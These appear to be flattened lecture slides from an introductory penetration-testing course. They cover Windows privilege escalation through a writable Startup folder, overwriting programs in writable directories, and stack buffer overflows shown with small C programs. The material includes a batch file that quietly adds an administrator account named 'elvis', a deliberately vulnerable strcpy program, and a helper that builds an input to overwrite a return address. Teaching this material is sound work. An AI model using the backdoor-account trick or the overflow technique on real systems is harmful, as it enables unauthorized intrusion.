Introduction to Penetration Testing • Elevating privileges – Getting code run in a privileged context •Exploiting misconfigurations – File permissions •Attacking services and applications – Buffer overflows Reminder – We Don't Teach Why You Should Not Be an Attacker People to be Attackers • It is illegal: – United States Code, Title 18, Section 1030 (and others) – USA Patriot Act, Homeland Security Act, PROTECT Act – www.cybercrime.gov • Basically: – Unauthorized access or use of a computer or network system is illegal – Unintentional attacks are illegal too Privilege Escalation • Goal: get instructions executed with higher privileges than you have: – Kernel – Privileged application or service – A setuid program – A privileged user Privilege Escalation – Example • Windows host • Guest access – Can’t read secret word file – Can’t write to: • C:\Documents and Settings\Administrator – Can write to: • C:\Documents and Settings\All Users\Start Menu\Programs\Startup Privilege Escalation – Example (cont) • A simple batch file: net user elvis T!C!B!123 /add net localgroup administrators elvis /add • Place this program in C:\Documents and Settings\AllUsers\StartMenu\Programs\Startup • It will be executed by the administrator (with administrator privileges) at the next logon Privilege Escalation – Demo • Demo • Note: – Could be noticed by the administrator • During logon • Recognizing the “elvis” account – Worked because the C:\Documents and Settings\AllUsers\StartMenu\Programs\Startup directory was writeable File Permissions – Example • Windows host • Guest access – Can read registry • Can see what programs run when users (including admin) log on – Can overwrite a program File Permissions – Demo • Demo • Note: – Could be noticed by the administrator • During logon – Worked because the C:\Program Files directory was writeable Buffer Overflows • A buffer overflow involves putting more data into a buffer than it has room to hold • In some cases, the extra data overwrites other items in memory after the buffer • Overflowing a buffer may enable you to change/control the flow of execution of the program What Does This Program Do? #include <stdio.h> void f() { char buf[4]; int *ret; ret = (int *) (buf + 8); (*ret) += 7; } int main() { int x=0; f(); x=1; printf("x=%d\n",x); } The Stack Segment • A program’s stack segment: – Temporary working space for the program – Example: Subroutines int foo(int P1, int P2) /* subroutine “foo” */ { int L1, L2; /* local variables L1 and L2 */ L1 = P1 + P2; return(L1); /* return value */ } int main() /* main program */ { … x = foo(1,2); /* call to subroutine “foo” */ … } Stack Frames Low Addresses foo Stack frames main High Addresses Stack Stack Frames (cont) • A stack frame contains the corresponding routine’s: – – – – Parameters Return address (i.e. next instruction to execute upon completion) Saved registers Local variables • Many architectures have registers: – SP, the stack pointer, points to the top of the stack – BP, the base pointer, points to a fixed location within the frame • Used to reference the procedure’s parameters and local variables Stack Frames (cont) • The main routine calls foo: – foo’s parameters are first pushed onto the stack – The next instruction in main to execute after foo finishes, the return address, is pushed – Control is transferred to foo – foo’s prologue: • Save caller’s (main’s) base pointer • Set callee’s (foo’s) bp equal to the current sp • Increment sp to reserve space on the stack for foo’s local vars (word aligned) – foo’s instructions – foo’s epilogue: • Restore saved values and deallocate callee’s (foo’s) stack frame Stack Frame - Example int foo(int P1, int P2) /* subroutine “foo” */ { int L1, L2; /* local variables L1 and L2 */ L1 = P1 + P2; return(L1); /* return value */ } int main() /* main program */ { … x = foo(1,2); /* call to subroutine “foo” */ … } Stack Frames – Example (cont) • foo’s stack frame after the completion of the prologue: SP Low Addresses L2 L1 main’s bp return address P1 High Addresses P2 stack Foo’s BP Ex1.c #include <stdio.h> void f() { char buf[4]; int *ret; ret = (int *) (buf + 8); (*ret) += 7; } int main() { int x=0; f(); x=1; // This instruction is not being executed. Why? printf("x=%d\n",x); } The Stack as f() Begins Execution Low Addresses ret 4 buf[0] 1 buf[1] 1 buf[2] 1 buf[3] 1 main’s bp 4 return address 4 Main’s frame High Addresses stack Ret points to the the return address on the stack ret = (int *) (buf + 8); Low Addresses ret 4 buf[0] 1 buf[1] 1 buf[2] 1 buf[3] 1 main’s bp 4 return address 4 Main’s frame High Addresses stack buf buf + 8 Ret points to the the return address on the stack (*ret) += 7; Low Addresses ret buf[0] buf[1] buf[2] buf[3] main’s bp return address + 7 Main’s frame High Addresses stack Ex1.c (cont) #include <stdio.h> void f() { char buf[4]; int *ret; ret = (int *) (buf + 8); (*ret) += 7; } int main() { int x=0; f(); x=1; // This instruction is being skipped because f() increments the return address printf("x=%d\n",x); // This is the next instruction executed after f() } What Does This Program Do? #include <stdio.h> #include <string.h> #include <stdlib.h> int a; char address[100]; void sub1 () { char buf[4]; int *ret = (int *) (buf + 8); a = strtol(address,NULL,16); (*ret) = a; } void sub2 (void) {printf("Opps!\n"); exit(0);} int main() { sprintf(address,"%p",sub2); sub1(); } Ex2.c #include <stdio.h> #include <string.h> #include <stdlib.h> int a; char address[100]; void sub1 () { char buf[4]; int *ret = (int *) (buf + 8); //ret points to the return address a = strtol(address,NULL,16); //a is the address of sub2() (*ret) = a; //put the address of sub2() in the return address } void sub2 (void) {printf("Opps!\n"); exit(0);} int main() { sprintf(address,"%p",sub2); // Get the address of the sub2() function sub1(); // Call sub1() } What Does This Program Do? #include <stdio.h> #include <string.h> #include <stdlib.h> char input[100]; void sub1 () { char buf[10] = ""; strcpy(buf, input);} // fixed-size buffer // copy input into buf whether it fits or not void sub2 (void) {printf("Opps!\n"); exit(0);} int main() { printf("Please enter some input (10 characters max, please):\n"); fgets(input,99,stdin); sub1();} What Can We Make it Do? • Run normally – Input “ABC” What Can We Make it Do? • Run normally – Input “ABC” What Else Can We Make it Do? • Seg fault (overflow the buffer and overwrite ret. address) Low Addresses buf[0] … buf[9] main’s bp return address Main’s frame High Addresses stack Still More We Can Make it Do • Execute sub2() – Know the address of sub2() – Enter enough characters get to the return address on the stack (overflow the buffer) – Enter the address of sub2() so that it overwrites the return address • Problem #1: What is the address of sub2()? • Problem #2: How many characters to enter to get to the return address? • Problem #3: How can we “enter” the address of sub2()? make_input.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char**argv) { // construct an overflow string char buf[1005]; if (argc !=3) fprintf(stderr,"Usage: %s [offset] [return address in hex]\n",argv[0]); else { int a, offset = atoi(argv[1]); for (int i=0; i<offset; i++) // write offset A’s buf[i]='A'; a = strtol(argv[2],NULL,16); buf[offset]=a&0xFF; buf[offset+1]=((a&0xFF00)>>8); // write characters of ret. addr buf[offset+2]=((a&0xFF0000)>>16); buf[offset+3]=((a&0xFF000000)>>24); buf[offset+4]='\0'; fprintf(stdout,"%s\n",buf); } } // output the constructed string What Happened? Low Addresses buf[0] A … … buf[9] A main’s bp AAAA return address address of sub2() Main’s frame Main’s frame stack stack High Addresses Summary • Elevating privileges – Getting code run in a privileged context •Exploiting misconfigurations – File permissions •Attacking services and applications – Buffer overflows